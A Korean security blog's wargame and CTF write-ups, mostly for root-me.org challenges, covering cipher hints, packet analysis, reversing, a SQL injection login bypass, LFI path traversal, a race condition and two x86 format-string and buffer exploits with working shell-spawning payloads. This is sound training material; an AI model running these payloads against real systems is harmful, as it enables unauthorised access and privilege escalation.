반응형
반응형
반응형

2020년 5월에 새로운 Wargame사이트를 추천합니다!

 

 

ctf.no-named.kr:1234/

 

N0Named (노나메드) 팀에서 제작한 Wargame입니다.

 

 

 

Misc, Reversing, Forensic, Pwnable, Crypto 카테고리의 문제들을 풀어보실 수 있습니다.

 

현재 29문제가 등록되어 있으며, 앞으로도 꾸준히 문제가 추가될 예정입니다.

 

 

많은 이용 부탁드립니다!

반응형
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

반응형
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

root-me.org [NETWORK] 풀이


FTP - authentication


패킷 분석











TELNET - authentication


패킷분석 2









ETHERNET - frame


hex2ascii

base64 decode







Twitter authentication


패킷 분석

base64 decode






CISCO - password



password 7 해독 툴을 사용하면 패스워드 형식이 6sK0_아이디 임을 알 수 있다.


그럼 아이디가 Enable인 패스워드도 구할 수 있다.






DNS - zone transfert


dig @challenge01.root-me.org -p 54011 ch11.challenge01.root-me.org TXT





IP - Time To Live


타겟 호스트에 도달하는데 사용된 ttl값 : 13





SIP - authentication


1234

....


반응형
반응형

root-me.org [CRACKING]

ELF - 0 protection 풀이


IDA로 까보면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // ST1C_4@1
  char *s1; // [sp+1Ch] [bp-Ch]@0
 
  puts("############################################################");
  puts("##        Bienvennue dans ce challenge de cracking        ##");
  puts("############################################################\n");
  printf("Veuillez entrer le mot de passe : ");
  v3 = (char *)getString(s1);
  if ( !strcmp(v3, "123456789") )
    printf("Bien joue, vous pouvez valider l'epreuve avec le pass : %s!\n""123456789");
  else
    puts("Dommage, essaye encore une fois.");
  return 0;
}
cs







ELF - x86 Basic


얘도 ida로 까보면 된다.






PE - 0 protection




얘도 아이다로 까서 문자열들을 찾은 뒤, 패스워드 검증 함수를 찾을 수 있다.



a2은 글자수, a1은 각 자리 문자값으로 보인다. dec2ascii





PE DotNet - 0 protection



JetBrains dotPeek 으로 열면 된다.






반응형
반응형

root-me.org [WEB - SERVER] 풀이


HTML


소스보자




Weak password


...

...

admin/admin 하니까 됐다...




HTTP directory indexing


소스에 admin/pass.html이 적혀있다.

admin/에서 디렉토리 인덱싱이 된다.

http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt






HTTP cookies



Saved email adresses 가 있다. 클릭하면 어드민이 아니라고 하는데, ch7이름의 쿠키가 생성된다.
admin으로 입력해주면 된다.




Local File Inclusion


http://challenge01.root-me.org/web-serveur/ch16/?files=/../admin&f=index.php

이렇게 소스를 볼 수 있다.


?files=admin&f=index.php
처음에 이렇게 시도 했었는데 이렇게는 안된다. 왤까...




SQL injection - authentication


id = admin'--
pw = hi (아무거나 입력해주면 됨)

이걸로 성공했다. 패스워드가 점으로 표시되는데, 페이지 소스보기로 암호를 확인할 수 있다.








반응형
반응형

root-me.org [APP - SYSTEM]


ELF x86 - Race condition 풀이







문제 소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
 
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
 
int main(void)
{
  int fd_tmp, fd_rd;
  char ch;
 
 
  if (ptrace(PTRACE_TRACEME, 010< 0)
    {
      printf("[-] Don't use a debugguer !\n");
      abort();
    }
  if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
    {
      perror("[-] Can't create tmp file ");
      goto end;
    }
   
  if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
    {
      perror("[-] Can't open file ");
      goto end;
    }
   
  while(read(fd_rd, &ch, 1== 1)
    {
      write(fd_tmp, &ch, 1);
    }
  close(fd_rd);
  close(fd_tmp);
  usleep(250000);
end:
  unlink(TMP_FILE);
   
  return 0;
}
cs



임시 파일에다가 패스워드를 저장해주는데, 임시 파일을 미리 만들어 두면 프로그램이 종료되도 사라지지 않고 남아 있는 것을 이용한다.


/tmp/tmp_file.txt를 만들어 두고, 권한설정을 한다. chmod 777 tmp_file.txt


프로그램 실행 ./ch12


그 뒤에 tmp_file.txt를 보면, 패스워드가 적혀있음을 확인할 수 있다.


반응형
반응형


HTML - disabled buttons


버튼이 눌리지 않는다.

f12로 페이지 소스를 본 다음, 


<input disabled="" type="submit" value="Member access" name="authbutton">


이걸


<input type="submit" value="Member access" name="authbutton">


이렇게 하면 버튼이 활성화된다.




Javascript - Authentication



페이지 소스를 보면, 사이트가 login.js에서 로그인을 처리하는 것을 알 수 있다.

login.js의 소스를 보면 아이디와 패스워드를 확인할 수 있다.




Javascript - Source



페이지 소스에서 스크립트 부분을 보면 된다.




Javascript - Authentication 2



login.js를 보면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function connexion(){
    var username = prompt("Username :", "");
    var password = prompt("Password :", "");
    var TheLists = ["GOD:HIDDEN"];
    for (i = 0; i < TheLists.length; i++)
    {
        if (TheLists[i].indexOf(username) == 0)
        {
            var TheSplit = TheLists[i].split(":");
            var TheUsername = TheSplit[0];
            var ThePassword = TheSplit[1];
            if (username == TheUsername && password == ThePassword)
            {
                alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)");
            }
        }
        else
        {
            alert("Nope, you're a naughty hacker.")
        }
    }
}
cs

username은 GOD, password는 HIDDEN




Javascript - Obfuscation 1


1
2
3
4
5
6
7
8
9
10
11
12
13
 
              /* <![CDATA[ */
 
              pass = '%63%70%61%73%62%69%65%6e%64%75%72%70%61%73%73%77%6f%72%64';
              h = window.prompt('Entrez le mot de passe / Enter password');
              if(h == unescape(pass)) {
                  alert('Password accepté, vous pouvez valider le challenge avec ce mot de passe.\nYou an validate the challenge using this pass.');
              } else {
                  alert('Mauvais mot de passe / wrong password');
              }
 
              /* ]]> */
          
cs

페이지 소스에 있는 스크립트를 보면, pass의 값을 디코딩한 값이 패스워드가 된다.





Javascript - Obfuscation 2


빈 페이지인데 소스를 보면 스크립트에 변수 pass가 정의되어 있다.

1
var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");
cs



크롬의 콘솔을 이용해 구해주면 된다. use chrome console






Javascript - Native code



É=-~-~[],ó=-~É,Ë=É<<É,þ=Ë+~[];Ì=(ó-ó)[Û=(''+{})[É+ó]+(''+{})[ó-É]+([].ó+'')[ó-É]+(!!''+'')[ó]+({}+'')[ó+ó]+(!''+'')[ó-É]+(!''+'')[É]+(''+{})[É+ó]+({}+'')[ó+ó]+(''+{})[ó-É]+(!''+'')[ó-É]][Û];Ì(Ì((!''+'')[ó-É]+(!''+'')[ó]+(!''+'')[ó-ó]+(!''+'')[É]+((!''+''))[ó-É]+([].$+'')[ó-É]+'\''+''+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó-ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(ó+ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+É)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(É+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(þ)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó+ó)+(ó-É)+'\\'+(ó+ó)+(É)+'\\'+(ó+ó)+(ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\'')())()


난독화된 js 코드가 있다.


크롬 콘솔을 이용하자. 끝에 ()를 지워주고 .toString()을 사용하면 복호화된 코드를 얻을 수 있다.




Javascript - Obfuscation 3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function dechiffre(pass_enc) {
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab = pass_enc.split(',');
    var tab2 = pass.split(',');
    var i, j, k, l = 0,
        m, n, o, p = "";
    i = 0;
    j = tab.length;
    k = j + (l) + (n = 0);
    n = tab2.length;
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        p += String.fromCharCode((o = tab2[i]));
        if (i == 5break;
    }
    for (i = (o = 0); i < (k = j = n); i++) {
        o = tab[i - l];
        if (i > 5 && i < k - 1)
            p += String.fromCharCode((o = tab2[i]));
    }
    p += String.fromCharCode(tab2[17]);
    pass = p;
    return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
 
= window.prompt('Entrez le mot de passe / Enter password');
alert(dechiffre(h));
cs


뭘 입력해도 가짜 패스워드만 나온다...


25행에 있는 헥스값을 아스키로 바꿔서 인증했더니 됐다. 뭐지





XSS - Stored 1



xss 공격이 가능하다. xss를 이용해서 쿠키값을 탈취하면 된다.






Flash - Authentication



소스보기를 통해 플래시 파일 주소를 알아낸다.


http://challenge01.root-me.org/web-client/ch20/RootMe.swf


다운받는다.


플래시 디컴파일러 툴을 이용해 소스를 보면 된다.


모르겠다.












반응형
반응형

root-me.org [APP - SYSTEM] 

ELF x86 - Format string bug basic 3 풀이



문제 소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
 
gcc -m32 -o ch16 ch16.c
 
*/
 
 
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
 
void shell(void);
 
int main()
{
 
  char buffer[64];
  int check;
  int i = 0;
  int count = 0;
 
  printf("Enter your name: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 64)
        printf("Oh no...Sorry !\n");
      if(check == 0xbffffabc)
        shell();
      else
        {
            read(fileno(stdin),&i,1);
            switch(i)
            {
                case '\n':
                  printf("\a");
                  break;
                case 0x08:
                  count--;
                  printf("\b");
                  break;
                case 0x04:
                  printf("\t");
                  count++;
                  break;
                case 0x90:
                  printf("\a");
                  count++;
                  break;
                default:
                  buffer[count] = i;
                  count++;
                  break;
            }
        }
    }
}
 
void shell(void)
{
  system("/bin/dash");
}
cs




40행의 count--;을 이용해서 -4까지 땡긴 후 0xbffffabc를 넣어주면 된다.


 check[0]  check[1]   check[2]  check[3] 

buffer[-4] buffer[-3] buffer[-2] buffer[-1] buffer[0] buffer[1] ....



exploit

(python -c 'print "\x08"*4+"\xbc\xfa\xff\xbf"'; cat) | ./ch16

반응형
반응형

root-me.org [APP - SYSTEM] ELF x86 - Format string bug basic 2 풀이



문제소스 :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
 
/*
gcc -m32 -o ch14 ch14.c
*/
 
int main( int argc, char ** argv )
 
{
 
        int var;
        int check  = 0x04030201;
 
        char fmt[128];
 
        if (argc <2)
                exit(0);
 
        memset( fmt, 0sizeof(fmt) );
 
        printf"check at 0x%x\n"&check );
        printf"argv[1] = [%s]\n", argv[1] );
 
        snprintf( fmt, sizeof(fmt), argv[1] );
 
        if ((check != 0x04030201&& (check != 0xdeadbeef))    
                printf ("\nYou are on the right way !\n");
 
        printf"fmt=[%s]\n", fmt );
        printf"check=0x%x\n", check );
 
        if (check==0xdeadbeef)
        {
                printf("Yeah dude ! You win !\n");
                system("/bin/dash");
        }
}
cs



app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x

check at 0xbffffaf8

argv[1] = [AAAA%08x%08x%08x%08x]

fmt=[AAAAb7fdc4a0000000010000000000000001]

check=0x4030201


포멧스트링 버그가 발생함을 알 수 있다.

이제 이를 이용하여 check의 값을 변조해야 한다.

app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
check at 0xbffffae8
argv[1] = [AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x]
fmt=[AAAAb7fdc4a0000000010000000000000001bffffc140000000000000000040302014141414164663762]
check=0x4030201

메모리 구조를 살펴보면, check가 위치하는 곳과 fmt가 위치하는 곳을 확인할 수 있다.


check의 주소+2 <- 0xdead 57005

check의 주소     <- 0xbeef 48879


1. %08x 7번 사용해서 esp를 check앞까지 끌고 옴

2. %48811c (출력)- 현재 esp는 fmt 앞.

3. %n 메모리 값을 참조하여 그 곳에 값이 입력됨 (0xbeef가 들어갈 것이므로 주소는 0xbffffae8)

4. %8126c

5. %n (0xbffffaea)



payload = "\xe8\xfa\xff\xbf"+"A"*4+"\xea\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"



exploit (check의 주소가 변경되서 페이로드에 있는 값도 변경해주었습니다.)

./ch14 `python -c 'print "\xd8\xfa\xff\xbf"+"A"*4+"\xda\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"'`





반응형

+ Recent posts